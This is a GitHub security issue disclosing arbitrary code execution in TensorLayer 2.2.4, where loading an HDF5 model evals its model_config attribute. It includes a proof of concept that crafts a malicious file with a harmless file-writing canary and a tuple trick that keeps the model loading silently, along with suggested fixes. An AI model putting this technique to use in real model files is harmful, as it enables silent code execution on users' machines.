Skip to content

[Security] Arbitrary code execution via eval() of the HDF5 model_config attribute (Model.load / tl.files.load_hdf5_graph) #1169

Description

@3em0
- [x] I have read the [Contribution Guidelines](https://github.com/tensorlayer/tensorlayer/blob/master/CONTRIBUTING.md)
- [x] I searched for [existing GitHub issues](https://github.com/tensorlayer/tensorlayer/issues)

Issue Description

Security issue: arbitrary code execution via eval() of the HDF5 "model_config" attribute

tl;dr — tl.files.load_hdf5_graph() (the implementation behind the documented tl.models.Model.load()) evaluates the HDF5 root attribute model_config with Python's eval(). Any Python expression embedded in a .hdf5 model file executes during loading, with the privileges of the loading process. A crafted file both executes the payload and still restores a valid model, so the attack is silent.

Affected versions

  • TensorLayer v2.2.4 (latest release; dynamically verified at commit 0681633252667b317a23b803c11a8a060a44bf31)
  • Current master is still affected as of 2026-09-24 (tensorlayer/files/utils.py:322 still contains eval(model_config_str))

Vulnerable code — tensorlayer/files/utils.py, load_hdf5_graph()

model_config_str = f.attrs["model_config"].decode('utf8')
model_config = eval(model_config_str)   # <- attacker-controlled file content, no validation

save_hdf5_graph() writes the file as f.attrs["model_config"] = str(model_config), so any party who controls the .hdf5 file (downloaded checkpoints, shared model hubs, attachments) controls the string handed to eval().

Trigger chain

Model.load(filepath, load_weights=False) (tensorlayer/models/core.py:814) → utils.load_hdf5_graph() (tensorlayer/files/utils.py:299) → eval(model_config_str) (tensorlayer/files/utils.py:322)

Secondary sink on the same path (not covered by my test)

If a layer argument is a ('is_Func', <base64 blob>) tuple, generate_func() (tensorlayer/files/utils.py:212) calls str2func() → cloudpickle.loads() during the same load — a second deserialization sink reachable once the config dict is attacker-controlled.

Impact

Anyone who loads an untrusted .hdf5 model — the documented workflow for sharing TensorLayer models — executes attacker code on their machine. This is the same class of risk that pushed other ML frameworks to harden or deprecate unsafe deserialization on load.

Suggested fix

  • Replace eval(model_config_str) with ast.literal_eval() — the legit writer (str(model_config)) only produces literal structures, so parsing is lossless for benign files.
  • Gate the str2func() / cloudpickle.loads() branch behind an explicit opt-in (e.g. a trusted=True flag), mirroring the weights_only=-style hardening in other frameworks, and document that untrusted model files are unsafe to load.

Reproducible Code

  • Which OS are you using? Any (verified in a clean offline Docker container; no network access needed at load time).
  • Environment: pip install tensorlayer==2.2.4 with TensorFlow 2.x and h5py<3 (h5py 2.10.0 used). h5py>=3 does not work: TL 2.2.4's loader calls .decode('utf8') on the attribute and raises AttributeError even for files produced by its own writer.

Step 1 — capture a legitimate config (exactly what save_hdf5_graph writes):

import h5py
import tensorflow as tf
import tensorlayer as tl

ni = tl.layers.Input(shape=(None, 784))
nn = tl.layers.Dense(n_units=64, act=tf.nn.relu)(ni)
net = tl.models.Model(inputs=ni, outputs=nn, name='mlp')
tl.files.save_hdf5_graph(net, filepath='clean.hdf5', save_weights=False)

with h5py.File('clean.hdf5', 'r') as f:
    real_cfg = f.attrs['model_config'].decode('utf8')

Step 2 — craft a malicious file whose model_config is (canary, real_cfg)[1]:

canary = "__import__('builtins').open('CANARY_PROOF.txt','w').write('eval executed')"
payload = "(" + canary + ", " + real_cfg + ")[1]"   # tuple trick: side effect + valid return value

with h5py.File('malicious.hdf5', 'w') as f:
    f.attrs['model_config'] = payload.encode('utf8')

Step 3 — load it through the documented API:

net = tl.models.Model.load('malicious.hdf5', load_weights=False)

Actual result: CANARY_PROOF.txt appears next to the script (the eval ran), the model still restores normally, and the process exits 0 — no error, no warning. A benign control file whose model_config contains only real_cfg loads clean with no side effects.

link:
https://github.com/3em0/cve_repo/blob/main/2026/TensorLayer2.2.4-Deserialization-of-Untrusted-Data(eval)-in-HDF5-Model-Loading.md

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions